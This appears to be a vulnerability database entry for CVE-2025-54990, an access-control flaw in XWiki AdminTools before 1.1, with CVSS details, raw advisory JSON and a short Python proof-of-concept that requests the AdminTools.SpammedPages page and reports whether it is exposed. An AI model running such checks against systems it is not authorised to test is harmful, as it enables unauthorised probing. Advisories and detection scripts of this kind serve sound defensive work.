Security Vulnerability Report
中文
CVE-2025-54990 CVSS 5.3 MEDIUM

CVE-2025-54990

Published: 2025-11-18 23:15:49
Last Modified: 2026-04-15 00:35:42

Description

XWiki AdminTools integrates administrative tools for managing a running XWiki instance. Prior to version 1.1, users without admin rights have access to AdminTools.SpammedPages. View rights are not restricted only to admin users for AdminTools.SpammedPages. While no data is visible to non admin users, the page is still accessible. This issue has been patched in version 1.1. A workaround involves setting the view rights for the AdminTools space to be only available for the XWikiAdminGroup.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

XWiki AdminTools < 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54990 PoC - XWiki AdminTools Unauthorized Access # Target: XWiki instance with AdminTools plugin < 1.1 # Description: Non-admin users can access AdminTools.SpammedPages page import requests from urllib.parse import urljoin def check_vulnerability(base_url): """ Check if XWiki AdminTools is vulnerable to CVE-2025-54990 """ # Target page path target_path = "/xwiki/bin/view/AdminTools/SpammedPages" full_url = urljoin(base_url, target_path) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: response = requests.get(full_url, headers=headers, timeout=10, allow_redirects=False) # Check if page is accessible (HTTP 200 without admin redirect) if response.status_code == 200: # Check if response contains page content (not admin login redirect) if "AdminTools" in response.text and "SpammedPages" in response.text: print(f"[VULNERABLE] Page accessible at: {full_url}") print(f"Status Code: {response.status_code}") return True # Check for admin redirect (indicates patch applied) if response.status_code in [302, 303, 307, 308]: redirect_location = response.headers.get('Location', '') if 'login' in redirect_location.lower() or 'admin' in redirect_location.lower(): print(f"[PATCHED] Admin access required - redirect to: {redirect_location}") return False print(f"[INFO] Status Code: {response.status_code}") return False except requests.RequestException as e: print(f"[ERROR] Request failed: {e}") return False # Usage example if __name__ == "__main__": target = "http://target-xwiki-instance.com" is_vulnerable = check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54990", "sourceIdentifier": "[email protected]", "published": "2025-11-18T23:15:48.513", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "XWiki AdminTools integrates administrative tools for managing a running XWiki instance. Prior to version 1.1, users without admin rights have access to AdminTools.SpammedPages. View rights are not restricted only to admin users for AdminTools.SpammedPages. While no data is visible to non admin users, the page is still accessible. This issue has been patched in version 1.1. A workaround involves setting the view rights for the AdminTools space to be only available for the XWikiAdminGroup."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "references": [{"url": "https://github.com/xwikisas/application-admintools/security/advisories/GHSA-v7r8-8p5c-h4xw", "source": "[email protected]"}]}}